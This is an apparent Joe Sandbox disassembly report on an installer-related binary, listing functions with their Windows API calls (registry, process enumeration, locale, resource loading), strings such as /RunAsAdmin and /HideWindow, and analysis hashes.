Instruction Fuzzy Hash: 6BE1EF75E10A1A9BCF21DFA8C884BBEF7F5AF44350F544128EA15EB291E734AD00CB90

Function 002FC870 Relevance: 14.4, APIs: 2, Strings: 6, Instructions: 366registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 002FCBB6
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,0034E6D0,00000800), ref: 002FCBD3

Strings

/EnforcedRunAsAdmin , xrefs: 002FC893, 002FC8A3, 002FC8A8
/DIR , xrefs: 002FC9F3
/HideWindow, xrefs: 002FC98E, 002FC9AC, 002FC9B1
/DontWait , xrefs: 002FC8D8, 002FC8EE, 002FC8F3
/LogFile, xrefs: 002FCA07
/RunAsAdmin , xrefs: 002FC92B, 002FC94C, 002FC951

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: OpenQueryValue
String ID: /DIR $/DontWait $/EnforcedRunAsAdmin $/HideWindow$/LogFile$/RunAsAdmin
API String ID: 4153817207-482544602
Opcode ID: b981871bee49b23e7faf53093240f014c8146cb846955d162778a872943da06c
Instruction ID: a2c2d20c4efc7d3b03fd4dc644cc3aa49d3d8f5df94ed446f3caf356ae047f21
Opcode Fuzzy Hash: b981871bee49b23e7faf53093240f014c8146cb846955d162778a872943da06c
Instruction Fuzzy Hash: 5EC1157892021F8BCB259F14C60127AF3A1EF917C0F74447AEA4A9B255E770DD61C790

Function 0032DE24 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003257CC: GetLastError.KERNEL32(?,00000008,0032AD4C,?,?,?,?,00000000,?,?), ref: 003257D0
Part of subcall function 003257CC: SetLastError.KERNEL32(00000000,?,00000006,000000FF,?,?,?,?,00000000,?,?), ref: 00325872

GetACP.KERNEL32(?,?,?,?,?,?,003242D9,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0032DEE5
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,003242D9,?,?,?,00000055,?,-00000050,?,?), ref: 0032DF10
_wcschr.LIBVCRUNTIME ref: 0032DFA4
_wcschr.LIBVCRUNTIME ref: 0032DFB2
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0032E073

Strings

utf8, xrefs: 0032DFE2

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: 0482975faeb0f71eb1f7c8ebe9d1208e3c3e4c4adab852418aa305f7680e47e4
Instruction ID: 97468ac16336f34ea86f4aafb5de55a82b14cfbec6e6fe2f0499bdd603b16ecd
Opcode Fuzzy Hash: 0482975faeb0f71eb1f7c8ebe9d1208e3c3e4c4adab852418aa305f7680e47e4
Instruction Fuzzy Hash: EE710872600321AADB27AB75EC46BAB73ACEF14700F164429F505DF181FBB4DD418750

Function 002F3860 Relevance: 10.7, APIs: 7, Instructions: 227processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,7642E7B1,?), ref: 002F38CB
CloseHandle.KERNEL32(00000000), ref: 002F390B
Process32FirstW.KERNEL32(?,00000000), ref: 002F395F
OpenProcess.KERNEL32(00000410,00000000,?), ref: 002F397A
CloseHandle.KERNEL32(00000000), ref: 002F3A8E
Process32NextW.KERNEL32(?,00000000), ref: 002F3AA2
CloseHandle.KERNEL32(?), ref: 002F3AF0

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: CloseHandle$Process32$CreateFirstNextOpenProcessSnapshotToolhelp32
String ID:
API String ID: 708755948-0
Opcode ID: 93282f08fb946bbb94913c62f322ad5c6c2ecac8ee2fb31cd5e31f2b29608874
Instruction ID: e45923d99287d20774643ec0e54910d251b07595495e57bd0a1536c42ce73733
Opcode Fuzzy Hash: 93282f08fb946bbb94913c62f322ad5c6c2ecac8ee2fb31cd5e31f2b29608874
Instruction Fuzzy Hash: 55A11AB591124DDFDF11CFA5D988BEEBBF8BF48304F144169E905AB240D7B49A44CBA0

Function 0032F032 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0032F216

Strings

1#INF, xrefs: 0032F168
1#QNAN, xrefs: 0032F145
1#IND, xrefs: 0032F137
1#SNAN, xrefs: 0032F13E

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 3671fe3ab2a430c9af524975a5392690b3920585d2af6b3259946b128feb46fa
Instruction ID: 6213973d7afd906d4d24c3dd229f991d66ccdeb50e7a53cefa3894d7369c40fd
Opcode Fuzzy Hash: 3671fe3ab2a430c9af524975a5392690b3920585d2af6b3259946b128feb46fa
Instruction Fuzzy Hash: 56D23C71E086288FDB6ACE28DD907EAB7B9EB44304F1545FAD84DE7240D774AE818F41

Function 0032E5B3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0032E8D1,00000002,00000000,?,?,?,0032E8D1,?,00000000), ref: 0032E64C
GetLocaleInfoW.KERNEL32(?,20001004,0032E8D1,00000002,00000000,?,?,?,0032E8D1,?,00000000), ref: 0032E675
GetACP.KERNEL32(?,?,0032E8D1,?,00000000), ref: 0032E68A

Strings

OCP, xrefs: 0032E607
ACP, xrefs: 0032E5D1

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 5874d681dbe531fc52e827a1c9c7b50510828c3def1aeff3cf7fc3bf55daf3d0
Instruction ID: 2ef8d69e3e5ca5c15117e6e9697bc9c18f864542ae4fb1a44d2a0c450da15b7c
Opcode Fuzzy Hash: 5874d681dbe531fc52e827a1c9c7b50510828c3def1aeff3cf7fc3bf55daf3d0
Instruction Fuzzy Hash: 7821B072B10120AADB37CF14E902A97B3AAAB74F64F578464E90AD7510E732DD40C350

Function 002F9CC0 Relevance: 7.9, APIs: 5, Instructions: 441COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 002F9E60
LocalFree.KERNEL32(00000000), ref: 002F9EB7
_swprintf.LIBCMT ref: 002FA0A0
LocalFree.KERNEL32(00000000), ref: 002FA0F7
_swprintf.LIBCMT ref: 002FA183

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: _swprintf$FreeLocal
String ID:
API String ID: 2429749586-0
Opcode ID: 0843c15cefdaec457f8203713ff2471fc40a335e104191cd37d4547dc4465548
Instruction ID: 008b7902ec3fae4d7a8b45dae617e45a2cc9c42aafcdf55bc90757be128055f0
Opcode Fuzzy Hash: 0843c15cefdaec457f8203713ff2471fc40a335e104191cd37d4547dc4465548
Instruction Fuzzy Hash: EFF1AE71D2021DABDF19DFA8DC40BAEFBB9FB08340F144229F905AB281D775A951CB91

Function 0032E788 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003257CC: GetLastError.KERNEL32(?,00000008,0032AD4C,?,?,?,?,00000000,?,?), ref: 003257D0
Part of subcall function 003257CC: SetLastError.KERNEL32(00000000,?,00000006,000000FF,?,?,?,?,00000000,?,?), ref: 00325872

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0032E894
IsValidCodePage.KERNEL32(00000000), ref: 0032E8DD
IsValidLocale.KERNEL32(?,00000001), ref: 0032E8EC
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0032E934
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0032E953

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: c63bd99b34d7672a9f01dcc00d2a2caa64448c66512bf3dba4646b0ea0f37af1
Instruction ID: 88435ca2c78cea5980b94417217259fec34c49529ac7f46372d0945e1876d3e5
Opcode Fuzzy Hash: c63bd99b34d7672a9f01dcc00d2a2caa64448c66512bf3dba4646b0ea0f37af1
Instruction Fuzzy Hash: 80517471A00225AFEF22DFA5EC46ABE73B8FF48B00F154069E950EB190D770D940CB61

Function 002F2310 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00312C98: EnterCriticalSection.KERNEL32(0034DD3C,?,?,?,002F23B6,0034E638,7642E7B1,?,?,00333D6D,000000FF), ref: 00312CA3
Part of subcall function 00312C98: LeaveCriticalSection.KERNEL32(0034DD3C,?,?,?,002F23B6,0034E638,7642E7B1,?,?,00333D6D,000000FF), ref: 00312CE0

GetProcessHeap.KERNEL32 ref: 002F2365

Part of subcall function 00312C4E: EnterCriticalSection.KERNEL32(0034DD3C,?,?,002F2427,0034E638,00336B40), ref: 00312C58
Part of subcall function 00312C4E: LeaveCriticalSection.KERNEL32(0034DD3C,?,?,002F2427,0034E638,00336B40), ref: 00312C8B
Part of subcall function 00312C4E: RtlWakeAllConditionVariable.NTDLL ref: 00312D02

Strings

X4, xrefs: 002F23DA
pL4, xrefs: 002F23D0, 002F242A
\L4, xrefs: 002F2370
<4, xrefs: 002F2407

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionHeapProcessVariableWake
String ID: <4$X4$\L4$pL4
API String ID: 325507722-3709691910
Opcode ID: 00e61b9479c710c1e7ac5103583e1794a296d9b896bdfb818e343722d69dbff1
Instruction ID: 348dc4d5e99d87be8f5552cb4ed3cff8371d8306475200ed9fb63f95b30bb732
Opcode Fuzzy Hash: 00e61b9479c710c1e7ac5103583e1794a296d9b896bdfb818e343722d69dbff1
Instruction Fuzzy Hash: 2C219AB5901200DBD312CF58EC4678AB7F8F726720F024268E9299F2E0DB7838188F52

Function 00325D6D Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00325DFA

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c088d6f79354faf8b1bce494a29b4de1bf964f76c3977490bbe1990304a04063
Instruction ID: b2dc61aead54ffea137336de239e7843ae870aa2faa470251fcba11c0deed841
Opcode Fuzzy Hash: c088d6f79354faf8b1bce494a29b4de1bf964f76c3977490bbe1990304a04063
Instruction Fuzzy Hash: A5B139729056659FDB17CF68D882BFEBBA5EF59310F168169E804EF241D234DE01CBA0

Function 003133A8 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 003133B4
IsDebuggerPresent.KERNEL32 ref: 00313480
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 003134A0
UnhandledExceptionFilter.KERNEL32(?), ref: 003134AA

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: ef44ea112e84ca1deabd691ea10f77295a7c9dc0f329b94c0baa36b067b5fcba
Instruction ID: b972d19d943b0b9df3b19fd8b111d487d7710577b8980fc1d381403fdbb6c358
Opcode Fuzzy Hash: ef44ea112e84ca1deabd691ea10f77295a7c9dc0f329b94c0baa36b067b5fcba
Instruction Fuzzy Hash: D7312CB5D0521C9BDB21DF64D9897CDBBB8AF08304F1040DAE50DAB250EB719B85DF44

Function 002FD0A5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 002FC630: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,7642E7B1,?,00333D30,000000FF), ref: 002FC657
Part of subcall function 002FC630: GetLastError.KERNEL32(?,00000000,00000000,7642E7B1,?,00333D30,000000FF), ref: 002FC661

IsDebuggerPresent.KERNEL32(?,?,00348AF0), ref: 002FD0D8
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,00348AF0), ref: 002FD0E7

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 002FD0E2

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: 50c38836ec33213282742fb0ccef94d717e503924f1b238978f7765ce1fb0681
Instruction ID: 533397feb0a8d65f174c1ea931bcac3cd9385bdc23f9aea0e2fc13f9e1efb9ca
Opcode Fuzzy Hash: 50c38836ec33213282742fb0ccef94d717e503924f1b238978f7765ce1fb0681
Instruction Fuzzy Hash: 9DE06DB02147458FE3319F28D888752BBE8AB11784F00886CE956C3250DBB5E4488BA1

Function 0032E237 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 003257CC: GetLastError.KERNEL32(?,00000008,0032AD4C,?,?,?,?,00000000,?,?), ref: 003257D0
Part of subcall function 003257CC: SetLastError.KERNEL32(00000000,?,00000006,000000FF,?,?,?,?,00000000,?,?), ref: 00325872

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0032E28B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0032E2D5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0032E39B

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: fbf15ab5a517aea4f4850ccebb6c57927faa292608afabe2cc3ae837cf18396b
Instruction ID: 130a48be893f76c109f2fcb922ef86a4d731084f21b14cc25d86dcfda5a492ce
Opcode Fuzzy Hash: fbf15ab5a517aea4f4850ccebb6c57927faa292608afabe2cc3ae837cf18396b
Instruction Fuzzy Hash: 5661BF719002279BEB2AEF29EC83BBA73A8FF08301F154179E915CB581E734D984DB50

Function 00316E1B Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00316F13
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00316F1D
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,?), ref: 00316F2A

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: f1e9ee5cf3d481facab13f77dc8312af881d952f91b99c74a7e485167e94c5ea
Instruction ID: cf22bca4924d84691b4fc3d699c6aeaa87a8dc75e58ffd37cf080f7111c3e629
Opcode Fuzzy Hash: f1e9ee5cf3d481facab13f77dc8312af881d952f91b99c74a7e485167e94c5ea
Instruction Fuzzy Hash: 8031B2B5901228ABCB26DF68D9897DDBBB8AF08310F5041EAE41CA6250E7709B818F44

Function 002F45B0 Relevance: 4.6, APIs: 3, Instructions: 64COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(00000000,00000000,7642E7B1,00000001,00000000,?,00000000,00334460,000000FF,?,002F474D,002F3778,?,00000000,00000000,?), ref: 002F45DB
LockResource.KERNEL32(00000000,?,00000000,00334460,000000FF,?,002F474D,002F3778,?,00000000,00000000,?,?,?,?,002F3778), ref: 002F45E6
SizeofResource.KERNEL32(00000000,00000000,?,00000000,00334460,000000FF,?,002F474D,002F3778,?,00000000,00000000,?,?,?), ref: 002F45F4

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Resource$LoadLockSizeof
String ID:
API String ID: 2853612939-0
Opcode ID: 1e77ac025f72c310c1dc008d4e41f0b877902571d601b317787b380c0fe37794
Instruction ID: 53c5372a1dda987a223c275e9e0a98bedba4a1bdf09b1feab946f907fd537d29
Opcode Fuzzy Hash: 1e77ac025f72c310c1dc008d4e41f0b877902571d601b317787b380c0fe37794
Instruction Fuzzy Hash: 07112372A046599BD7359F19DC84B77F3ACE786B68F00053AED2AC3340EA75AC008690

Function 0032E111 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003257CC: GetLastError.KERNEL32(?,00000008,0032AD4C,?,?,?,?,00000000,?,?), ref: 003257D0
Part of subcall function 003257CC: SetLastError.KERNEL32(00000000,?,00000006,000000FF,?,?,?,?,00000000,?,?), ref: 00325872

EnumSystemLocalesW.KERNEL32(0032E237,00000001,00000000,?,-00000050,?,0032E868,00000000,?,?,?,00000055,?), ref: 0032E183

Strings

h2, xrefs: 0032E158

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID: h2
API String ID: 2417226690-3066208935
Opcode ID: d58dd2f8e2b554f6213a67038dd7e4f059720dfcd0d4be39783f3cd58806ec9b
Instruction ID: d3a9cc15423e814767b805d9683b01d6b5f34776ceee90f4192769258d0df798
Opcode Fuzzy Hash: d58dd2f8e2b554f6213a67038dd7e4f059720dfcd0d4be39783f3cd58806ec9b
Instruction Fuzzy Hash: A111293B2007119FDB19AF38D8A25BAB791FF84719B15443CE54747B40D3717942CB40

Function 003276AF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00324E3F,?,20001004,00000000,00000002,?,?,00324441), ref: 003276E3

Strings

21, xrefs: 003276CE

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: InfoLocale
String ID: 21
API String ID: 2299586839-1316489359
Opcode ID: 0f60348e1698ee8118ea541aa3bdd150827e32fe84d431e69c1fef5a37ce6b68
Instruction ID: f8f4d9f84400666d3aab82c3d1cc32c29feda5dbd04c0b41a09edc37d9252edc
Opcode Fuzzy Hash: 0f60348e1698ee8118ea541aa3bdd150827e32fe84d431e69c1fef5a37ce6b68
Instruction Fuzzy Hash: 06E04F3250863CBBCF232F61FC09EAE3E2AFF44750F004410FC0565120CB318920AAD5

Function 0031E270 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3b8607f755f17a23646f2bf370a959f638319f8f7f89048cc653de111095432
Instruction ID: 65aba4ea3aebb361ca7a1a9c2aa63b92b4fcf30608ac4ccc202f417fd83555a2
Opcode Fuzzy Hash: c3b8607f755f17a23646f2bf370a959f638319f8f7f89048cc653de111095432
Instruction Fuzzy Hash: 55F14075E002199FDF19CFA9C8806EDB7B2FF98324F158269E815AB381D731AD45CB90

Function 0031A587 Relevance: 2.8, Strings: 2, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 0031A715
T4, xrefs: 0031A589

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
